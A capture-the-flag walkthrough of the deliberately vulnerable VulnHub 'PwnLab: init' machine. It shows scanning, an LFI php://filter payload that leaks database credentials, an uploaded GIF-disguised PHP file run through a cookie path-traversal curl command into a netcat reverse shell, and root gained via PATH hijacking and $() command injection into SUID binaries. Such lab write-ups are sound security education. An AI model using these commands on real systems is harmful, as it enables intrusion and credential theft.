VulnHub Pwnlab
20 March, 2021
Machine Link: https://www.vulnhub.com/entry/pwnlab-init,158/
Beginning with an nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -p 1-20000 192.168.56.109
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-14 12:54 EDT
Nmap scan report for 192.168.56.109
Host is up (0.0016s latency).
Not shown: 19997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 50886/udp6 status
| 100024 1 51227/tcp6 status
| 100024 1 59581/tcp status
|_ 100024 1 59752/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 39
| Capabilities flags: 63487
| Some Capabilities: FoundRows, SupportsTransactions, Speaks41ProtocolOld, ConnectWithDatabase, ODBCClient, IgnoreSigpipes, Support41Auth, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, SupportsCompression, InteractiveClient, LongPassword, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: Hp{:N[^G)4g/P&kl[aXv
|_ Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:75:E2:B9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.63 ms 192.168.56.109
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.90 seconds
Focussing on port 80, there is a website.

SQLi didn't work on this login page

And the upload page wanted me to login first

Running a nikto scan didn't lead to anything significant
┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.56.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.109
+ Target Hostname: 192.168.56.109
+ Target Port: 80
+ Start Time: 2021-03-14 12:56:12 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Cookie PHPSESSID created without the httponly flag
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7915 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2021-03-14 12:57:18 (GMT-4) (66 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Gobuster with multiple different wordlists doesn't help either
Moved on to the next port and read up on rpcbind, didn't find anything upfront to exploit this either.
Going back to the website, thinking of local file inclusion now :thinking: using the page parameter
After trying out multiple payloads from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md, I finally got some output from this filter
http://192.168.56.109/?page=php://filter/convert.base64-encode/resource=config
You can read more about PHP filters here. Decoding the output:

┌──(kali㉿kali)-[~]
└─$ echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 --decode
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
┌──(kali㉿kali)-[~]
└─$ mysql -h 192.168.56.109 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> Use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]> SHOW TABLES;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.002 sec)
MySQL [Users]> SELECT * FROM users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.024 sec)
# kent
┌──(kali㉿kali)-[~]
└─$ echo 'Sld6WHVCSkpOeQ==' | base64 --decode
JWzXuBJJNy
# mike
┌──(kali㉿kali)-[~]
└─$ echo 'U0lmZHNURW42SQ==' | base64 --decode
SIfdsTEn6I
# kane
┌──(kali㉿kali)-[~]
└─$ echo 'aVN2NVltMkdSbw==' | base64 --decode
iSv5Ym2GRo
All three led me to the same upload page

Got an error when I tried to upload a PHP reverse shell

I was able to upload a .gif file containing PHP code with the magic byte for GIF

Looking at the code for index.php (obtained the same way as config.php)
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
The LANG cookie's value is directly used as a parameter for include(), means if we can somehow give it the path to the uploaded gif, that PHP would be executed. I tried to get a relative position and requesting for /lang/../upload took me to /upload so the payload would be ../upload/6ab7f8f0de1325b480be3294591342b5.gif. It worked, got a reverse shell
┌──(root💀kali)-[/media/sf_Projects/VulnHub/PwnLab]
└─# curl -H 'Cookie: lang=../upload/6ab7f8f0de1325b480be3294591342b5.gif' http://192.168.56.109
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [192.168.56.108] from (UNKNOWN) [192.168.56.109] 51810
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
18:55:08 up 1:31, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Switching to other users and browsing their home directories, I found a SUID binary in kane's home
kane@pwnlab:~$ pwd
pwd
/home/kane
kane@pwnlab:~$ ls -ltrha
ls -ltrha
total 28K
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
-rw-r--r-- 1 kane kane 3.5K Mar 17 2016 .bashrc
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
drwxr-xr-x 6 root root 4.0K Mar 17 2016 ..
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 msgmike
drwxr-x--- 2 kane kane 4.0K Mar 17 2016 .
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
Some intel from linpeas
--- It looks like /home/kane/msgmike is executing cat and you can impersonate it (strings line: cat /home/mike/msg.txt)
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
...
Modifying cat
kane@pwnlab:~$ echo "/bin/bash" > cat
echo "/bin/bash" > cat
kane@pwnlab:~$ chmod +x cat
chmod +x cat
kane@pwnlab:~$ PATH=$(pwd):$PATH ./msgmike
PATH=$(pwd):$PATH ./msgmike
mike@pwnlab:~$ whoami
whoami
mike
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
mike also has a suid binary owned by root
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -ltrha
ls -ltrha
total 28K
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
-rw-r--r-- 1 mike mike 3.5K Mar 17 2016 .bashrc
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
drwxr-xr-x 6 root root 4.0K Mar 17 2016 ..
-rwsr-sr-x 1 root root 5.3K Mar 17 2016 msg2root
drwxr-x--- 2 mike mike 4.0K Mar 17 2016 .
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello_world
hello_world
hello_world
Assuming this binary is using echo to print the input
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello_world'; /bin/bash
hello_world'; /bin/bash
sh: 2: Syntax error: Unterminated quoted string
Looks like single quotes are ignored
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello_world'; /bin/bash ' #
hello_world'; /bin/bash ' #
hello_world; /bin/bash
mike@pwnlab:/home/mike$ whoami
whoami
mike
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello_world"; /bin/bash " #
hello_world"; /bin/bash " #
hello_world; /bin/bash
Its fine, there are other ways to exploit this
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: $(ls -ltrha /root)
$(ls -ltrha /root)
total 20K -rw-r--r-- 1 root root 140 Nov 19 2007 .profile -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 21 root root 4.0K Mar 17 2016 .. lrwxrwxrwx 1 root root 9 Mar 17 2016 .bash_history -> /dev/null lrwxrwxrwx 1 root root 9 Mar 17 2016 messages.txt -> /dev/null lrwxrwxrwx 1 root root 9 Mar 17 2016 .mysql_history -> /dev/null ---------- 1 root root 1.8K Mar 17 2016 flag.txt drwx------ 2 root root 4.0K Mar 17 2016 .
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: $(/bin/cat /root/flag.txt)
$(/bin/cat /root/flag.txt)
.-=~=-. .-=~=-. (__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _) (_ ___) _____ _ (_ ___) (__ _) / __ \ | | (__ _) ( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __) (__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _) (_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___) (__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _) ( _ __) __/ | ( _ __) (__ _) |___/ (__ _) (__ _) (__ _) (_ ___) If you are reading this, means that you have break 'init' (_ ___) ( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __) (__ _) this challenge. (__ _) (_ ___) (_ ___) ( _ __) Please send me your feedback or your writeup, I will love ( _ __) (__ _) reading it (__ _) (__ _) (__ _) (__ _) For sniferl4bs.com (__ _) ( _ __) claor@PwnLab.net - @Chronicoder ( _ __) (__ _) (__ _) (_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___) `-._.-' `-._.-'